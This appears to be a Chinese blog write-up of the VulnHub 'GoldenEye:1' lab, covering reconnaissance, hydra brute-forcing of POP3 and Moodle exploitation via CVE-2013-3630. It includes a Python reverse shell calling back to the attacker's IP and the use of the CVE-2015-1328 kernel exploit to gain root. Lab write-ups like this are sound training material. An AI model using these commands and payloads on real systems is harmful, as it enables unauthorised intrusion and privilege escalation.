《VulnHub》GoldenEye:1
title: 《VulnHub》GoldenEye:1
date: 2024-02-16 14:53:49
updated: 2024-02-16 15:08:49
categories: WriteUp:Cyber-Range
excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务(pop3)、邮件泄露敏感信息、ip 与域名映射写进 hosts 文件、whatweb 工具检测网站、图片隐写分析、CVE-2013-3630 漏洞利用、python 反弹 shell、使用 ptyhon 获取 tty、CVE-2015-1328 漏洞利用、kali 本地 exp 库攻击脚本利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png
VulnHub
- 1:靶场信息
- 2:打靶
- 2.1:情报收集 & 威胁建模
- 2.2:漏洞分析 & 渗透攻击
- 2.3:后渗透
- 3:总结
- 3.1:命令 & 工具
- 3.2:关键技术
VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。
1:靶场信息
靶场地址:
https://www.vulnhub.com/entry/goldeneye-1,240/
2:打靶
2.1:情报收集 & 威胁建模
主机发现:
nmap 192.168.8.0/24 -sn

可以确定目标 ip:192.168.8.137。
进行端口扫描、服务探测、OS 探测:
nmap 192.168.8.137 -p- -sC -sV -O
┌──(root㉿kali)-[~]
└─# nmap 192.168.8.137 -p- -sC -sV -O
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 10:43 HKT
Nmap scan report for 192.168.8.137
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after: 2028-04-21T03:22:34
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
|_http-server-header: Apache/2.4.7 (Ubuntu)
55006/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) RESP-CODES USER CAPA AUTH-RESP-CODE PIPELINING TOP UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
55007/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_pop3-capabilities: USER CAPA PIPELINING RESP-CODES TOP AUTH-RESP-CODE SASL(PLAIN) UIDL STLS
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:01:85:10 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.41 seconds
先访问 80 端口看看。
给出了一个登录地址。查看源码还可以发现一个 js 文件。

terminal.js 内容如下。

var data = [{GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"}
];//
//Boris, make sure you update your default password.
//My sources say MI6 maybe planning to infiltrate.
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//InvincibleHack3r
//
//BTW Natalya says she can break your codes
//var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {var currentElementId = allElements[j].id;var currentElementIdContent = data[0][currentElementId];var element = document.getElementById(currentElementId);var devTypeText = currentElementIdContent;var i = 0, isTag, text;(function type() {text = devTypeText.slice(0, ++i);if (text === devTypeText) return;element.innerHTML = text + `<span class='blinker'> </span>`;var char = text.slice(-1);if (char === "<") isTag = true;if (char === ">") isTag = false;if (isTag) return type();setTimeout(type, 60);})();
}
访问登录地址。

terminal.js 文件中的 html 编码字符串解密如下:

InvincibleHack3r
InvincibleHack3r
除此以外从 js 文件中还可以得到两个名字:Boris、Natalya。
以此尝试一下登录,最终得到用户名与密码:
username: boris
password: InvincibleHack3r
登录后页面如下,提示了可能需要从 pop3 服务入手。

那就尝试爆破一下邮件服务密码。
将要使用的用户名写入文件。
echo -e 'boris\nnatalya' > name.txt
使用 hydra 爆破 pop3。
hydra -L name.txt -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3



爆破出了两个账户。
login: boris password: secret1!
login: natalya password: bird
接下来可以通过 nc 登录 pop3 查看邮件。
nc -nv 192.168.8.137 55007 # 登录邮箱
user boris # 登录用户
pass secret1! # 登录密码
list # 查看邮件数量
retr 1 # 查看邮件内容



接下来查看一下 natalya 用户的邮件。



获得了一个用户信息。
username: xenia
password: RCP90rulez!
除此以外获得了一个域名与网址信息。
severnaya-station.com
severnaya-station.com/gnocertdir
如果直接用 ip 访问是以下效果:

那就将 ip 与域名映射写进 hosts 文件。
192.168.8.137 severnaya-station.com
Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hosts
再次访问网站:

网站 CMS 为 Moodle。
也可以用 whatweb 工具检测:
whatweb http://severnaya-station.com/gnocertdir/

网站需要登录,尝试使用以下用户信息登录网站:
username: xenia
password: RCP90rulez!


查看未读邮件。

这里发现 CMS 为 Moodle 2.2.3。

得到了一个新用户:doak
使用 hydra 爆破一下 pop3。
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3
爆破出用户名与密码:

login: doak password: goat
通过 nc 登录 pop3 查看邮件。
nc -nv 192.168.8.137 55007 # 登录邮箱
user doak # 登录用户
pass goat # 登录密码
list # 查看邮件数量
retr 1 # 查看邮件内容

获得了一个用户信息。
username: dr_doak
password: 4England!
用这个用户信息登录进网站:

发现一个私人文件,下载后查看。

给了一个网址目录:
/dir007key/for-007.jpg
访问查看:

根据邮件提示检查一下图片,先将图片下载。
wget http://severnaya-station.com/dir007key/for-007.jpg
之后可以用以下工具进行分析:
binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码exiftool:图虫,解析图片 exif 信息strings:用于打印文件中可打印字符串(ASCII 码)



识别出一串 base64 编码:
eFdpbnRlcjE5OTV4IQ==
解码:

eFdpbnRlcjE5OTV4IQ==
xWinter1995x!
根据邮件中提示猜测这是 admin 账户的密码。
尝试登录网站:

没有发现什么可以利用的。
那尝试从 CMS 入手。搜索一下 Moodle 2.2.3 的漏洞。
关键字:Moodle 2.2.3 poc exp
发现 CVE-2013-3630 漏洞。尝试利用。
漏洞 exp 详情:
《Moodle - Remote Command Execution (Metasploit)》:
https://www.exploit-db.com/exploits/29324
从 exp 中可以看到,需要将拼写检查 google spell 换成 PSpellSHell。

刚好用 admin 登录的 CMS 后台可以进行此设置。

原因是目标主机上不存在 GCC 编译,只能 CC 编译,所以需要把 Google Spell 改成 PSpellShell。
2.2:漏洞分析 & 渗透攻击
启动 MSF。
msfdb init && msfconsole
查找相关漏洞。
search CVE-2013-3630

使用序号为 0 的模块进行渗透。
use 0
show options
set USERNAME admin
set PASSWORD xWinter1995x!
set RHOSTS severnaya-station.com # 设置目标主机
set TARGETURI /gnocertdir # 设置目录

为了获得反弹 shell 的会话,还需要设置 payload。
set payload cmd/unix/reverse # 使用 cmd/unix/reverse
show options
set lhost 192.168.8.15 # 设置攻击机 ip

执行。

好,失败了。
查阅资料发现可能是 msf 版本过高问题,但也发现了手工利用的方法。
《VulnHub-GoldenEye-1 靶场渗透测试》:
https://www.freebuf.com/articles/web/260592.html
开始手工利用漏洞。
在下图所示路径设置中更改为以下 payload:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后在 kali 终端使用 nc 监听相应端口。
nc -lnvp 6666
之后在下图所示路径中新建文章,随便输入字符,点击 “ Toggle Spellchecker ” 后就会反弹 shell。


目标机安装了 python,可以使用 ptyhon 获取 tty,不然有些命令无法执行。
python -c 'import pty; pty.spawn("/bin/bash")'
teletypewriter(tty),表示终端或终端模拟器。

至此获取了目标机器一个低权限 shell。
2.3:后渗透
进行提权。
查看一下系统内核:
uname -a

搜索一下相关的内核漏洞。


得到 EDB-ID:37292
搜索 kali 本地 exp 库中 37292 攻击脚本信息。
searchsploit 37292

将该文件复制到一个目录中。
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/GoldenEye-1/
查看目标机器,发现目标没有安装 gcc,但安装了 cc。还安装了 wget
C 语言用 gcc 编译 .c 文件为可执行文件。可以用 cc 代替编译。

原本的 37292.c 文件使用 gcc,需要将第 143 行的 gcc 改为 cc。

在相应目录下开启一个简单的 http 服务,便于使目标机器下载相应利用代码。
python3 -m http.server 8088

目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/37292.c

编译,并给可执行文件赋权,然后执行。
cc -o rootshell 37292.c
chmod +x rootshell
./rootshell

成功提权至 root。
最后使用 ptyhon 获取 tty。
python -c 'import pty; pty.spawn("/bin/bash")'



完结撒花!
3:总结
该靶场要点在于对敏感信息泄露的收集。
3.1:命令 & 工具
- nmap
- BurpSuite
- hydra
- netcat
- whatweb
- binwalk
- exiftool
- strings
- Exploit Database
https://www.exploit-db.com/ - MSF
- python
- uname
- searchsploit
- cc
- wget
3.2:关键技术
-
主机发现:
nmap <ip cidr> -sn -
目标信息扫描,端口扫描、服务探测、操作系统探测:
nmap <target> -p- -sC -sV -O -
源码 js 文件泄露敏感信息,html 编码字符串解密。
-
hydra 爆破邮件服务(pop3):
hydra -L <name file> -P <password file> <target> -s <port> pop3
hydra -l <name> -P <password file> <target> -s <port> pop3 -
netcat 登录查看邮件:
nc -nv <target> <port> # 登录邮箱
user <username> # 登录用户
pass <password> # 登录密码
list # 查看邮件数量
retr <num> # 查看邮件内容
-
邮件泄露敏感信息。
-
ip 与域名映射写进 hosts 文件。
Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hosts -
whatweb 工具检测网站:
whatweb <URL> -
wget 下载文件:
wget <URI> -
图片隐写分析:
binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码
exiftool:图虫,解析图片 exif 信息
strings:用于打印文件中可打印字符串(ASCII 码) -
CVE-2013-3630 漏洞利用。(msf 利用、手工利用)
-
python 反弹 shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'# 代码解释
import socket,subprocess,os; # 导入 socket、subprocess 和 os 模块
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); # 创建一个 TCP 套接字
s.connect(("<ip>",<port>)); # 连接远程主机的 IP 与端口
os.dup2(s.fileno(),0); # 将标准输入重定向到套接字的文件描述符
os.dup2(s.fileno(),1); # 将标准输出重定向到套接字的文件描述符
os.dup2(s.fileno(),2); # 将标准错误重定向到套接字的文件描述符
p=subprocess.call(["/bin/sh","-i"]); # 通过 subprocess 模块调用 /bin/sh,并使用 -i 参数以交互模式运行 shell。
-
netcat 监听端口反弹 shell:
nc -lnvp <port> -
使用 ptyhon 获取 tty(teletypewriter,表示终端或终端模拟器):
python -c 'import pty; pty.spawn("/bin/bash")' -
查看系统内核:
uname -a -
CVE-2015-1328 漏洞利用。EDB-ID:37292。
-
搜索 kali 本地 exp 库中攻击脚本信息:
searchsploit <ID> -
在目录下开启一个简单 http 服务:
python3 -m http.server <port> -
编译 c 文件,并赋权,执行。(利用系统内核漏洞提权)
cc -o <filename> <c file>
chmod +x <filename>
./<filename>
人之忌,在好为人师。
——《孟子》(战国)
相关文章:
《VulnHub》GoldenEye:1
title: 《VulnHub》GoldenEye:1 date: 2024-02-16 14:53:49 updated: 2024-02-16 15:08:49 categories: WriteUp:Cyber-Range excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务(pop3)、邮件泄露敏…...
html的表格标签
html的表格标签 table标签:表示整个表格tr:表示表格的一行td:表示一个单元格th:表示表头单元格.会居中加粗thead:表格的头部区域 (注意和th区分,范围是比th要大的).tbody:表格得到主体区域. table包含tr , tr包含td或者th. 表格标签有一些属性,可以用于设置大小边…...
蓝桥杯(Web大学组)2022省赛真题:展开你的扇子
思路: transform-origin: center bottom;使盒子旋转时,以底部的中心为坐标原点(题目已给出) 对每个盒子使用transform: rotate();实现旋转 笔记: 设置悬浮旋转时, #box div:hover #item6{ } 为什…...
复习基础知识1
局部变量 写程序时,程序员经常会用到局部变量 汇编中寄存器、栈,可写区段、堆,函数的局部变量该存在哪里呢? 注意:局部变量有易失性 一旦函数返回,则所有局部变量会失效。 考虑到这种特性,人们…...
java8-用流收集数据-6
本章内容口用co1lectors类创建和使用收集器 口将数据流归约为一个值 口汇总:归约的特殊情况 数据分组和分区口 口 开发自己的自定义收集器 我们在前一章中学到,流可以用类似于数据库的操作帮助你处理集合。你可以把Java8的流看作花哨又懒惰的数据集迭代器。它们…...
[前端开发] JavaScript基础知识 [上]
下篇:JavaScript基础知识 [下] JavaScript基础知识 [上] 引言语句、标识符和变量JavaScript引入注释与输出数据类型运算符条件语句与循环语句 引言 JavaScript是一种广泛应用于网页开发的脚本语言,具有重要的前端开发和部分后端开发的应用。通过JavaSc…...
初识Qt | 从安装到编写Hello World程序
文章目录 1.前端开发简单分类2.Qt的简单介绍3.Qt的安装和环境配置4.创建简单的Qt项目 1.前端开发简单分类 前端开发,这里是一个广义的概念,不单指网页开发,它的常见分类 网页开发:前端开发的主要领域,使用HTML、CSS …...
机器学习:过拟合和欠拟合的介绍与解决方法
过拟合和欠拟合的表现和解决方法。 其实除了欠拟合和过拟合,还有一种是适度拟合,适度拟合就是我们模型训练想要达到的状态,不过适度拟合这个词平时真的好少见。 过拟合 过拟合的表现 模型在训练集上的表现非常好,但是在测试集…...
变分自编码器(VAE)PyTorch Lightning 实现
✅作者简介:人工智能专业本科在读,喜欢计算机与编程,写博客记录自己的学习历程。 🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心&…...
设备驱动开发_1
可加载模块如何工作的 主要内容 描述可加载模块优势使用模块命令效率使用和定义模块密钥和模块工作1 描述可加载模块优势 开发周期优势: 静态模块在/boot下的vmlinuz中,需要配置、编译、重启。 开发周期长。 LKM 不需要重启。 开发周期优于静态模块。 2 使用模块命令效率…...
C语言位域(Bit Fields)知识点精要解析
在C语言中,位域(Bit Field)是一种独特的数据结构特性,它允许程序员在结构体(struct)中定义成员变量,并精确指定其占用的位数。通过使用位域,我们可以更高效地利用存储空间࿰…...
离散数学——图论(笔记及思维导图)
离散数学——图论(笔记及思维导图) 目录 大纲 内容 参考 大纲 内容 参考 笔记来自【电子科大】离散数学 王丽杰...
opencv图像像素的读写操作
void QuickDemo::pixel_visit_demo(Mat & image) {int w image.cols;//宽度int h image.rows;//高度int dims image.channels();//通道数 图像为灰度dims等于一 图像为彩色时dims等于三 for (int row 0; row < h; row) {for (int col 0; col < w; col) {if…...
Java学习第十四节之冒泡排序
冒泡排序 package array;import java.util.Arrays;//冒泡排序 //1.比较数组中,两个相邻的元素,如果第一个数比第二个数大,我们就交换他们的位置 //2.每一次比较,都会产生出一个最大,或者最小的数字 //3.下一轮则可以少…...
第1章 计算机网络体系结构-1.1计算机网络概述
1.1.1计算机网络概念 计算机网络是将一个分散的,具有独立功能的计算机系统通过通信设备与路线连接起来,由功能完善的软件实现资源共享和信息传递的系统。(计算机网络就是一些互连的,自治的计算机系统的集合) 1.1.2计算机网络的组成 从不同角…...
蓝桥杯:C++排序
排序 排序和排列是算法题目常见的基本算法。几乎每次蓝桥杯软件类大赛都有题目会用到排序或排列。常见的排序算法如下。 第(3)种排序算法不是基于比较的,而是对数值按位划分,按照以空间换取时间的思路来排序。看起来它们的复杂度更好,但实际…...
数据结构-堆
1.容器 容器用于容纳元素集合,并对元素集合进行管理和维护. 传统意义上的管理和维护就是:增,删,改,查. 我们分析每种类型容器时,主要分析其增,删,改ÿ…...
奔跑吧小恐龙(Java)
前言 Google浏览器内含了一个小彩蛋当没有网络连接时,浏览器会弹出一个小恐龙,当我们点击它时游戏就会开始进行,大家也可以玩一下试试,网址:恐龙快跑 - 霸王龙游戏. (ur1.fun) 今天我们也可以用Java来简单的实现一下这…...
Ubuntu 1804 And Above Coredump Settings
查看 coredump 是否开启 # 查询, 0 未开启, unlimited 开启 xiaoUbuntu:/var/core$ ulimit -c 0# 开启 xiaoUbuntu:/var/core$ ulimit -c unlimited查看 coredump 保存路径 默认情况下,Ubuntu 使用 apport 服务处理 coredump 文件ÿ…...
docker 2:安装
docker 2:安装 ubuntu 安装 docker sudo apt install docker.io 把当前用户放进 docker 用户组,避免每次运行 docker 命都要使用 sudo 或者 root 权限。 sudo usermod -aG docker $USERid $USER 看到用户已加入 docker 组 …...
iOS 26 携众系统重磅更新,但“苹果智能”仍与国行无缘
美国西海岸的夏天,再次被苹果点燃。一年一度的全球开发者大会 WWDC25 如期而至,这不仅是开发者的盛宴,更是全球数亿苹果用户翘首以盼的科技春晚。今年,苹果依旧为我们带来了全家桶式的系统更新,包括 iOS 26、iPadOS 26…...
TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
Frozen-Flask :将 Flask 应用“冻结”为静态文件
Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是:将一个 Flask Web 应用生成成纯静态 HTML 文件,从而可以部署到静态网站托管服务上,如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
2025盘古石杯决赛【手机取证】
前言 第三届盘古石杯国际电子数据取证大赛决赛 最后一题没有解出来,实在找不到,希望有大佬教一下我。 还有就会议时间,我感觉不是图片时间,因为在电脑看到是其他时间用老会议系统开的会。 手机取证 1、分析鸿蒙手机检材&#x…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
Java面试专项一-准备篇
一、企业简历筛选规则 一般企业的简历筛选流程:首先由HR先筛选一部分简历后,在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如:Boss直聘(招聘方平台) 直接按照条件进行筛选 例如:…...
优选算法第十二讲:队列 + 宽搜 优先级队列
优选算法第十二讲:队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
使用Spring AI和MCP协议构建图片搜索服务
目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式(本地调用) SSE模式(远程调用) 4. 注册工具提…...
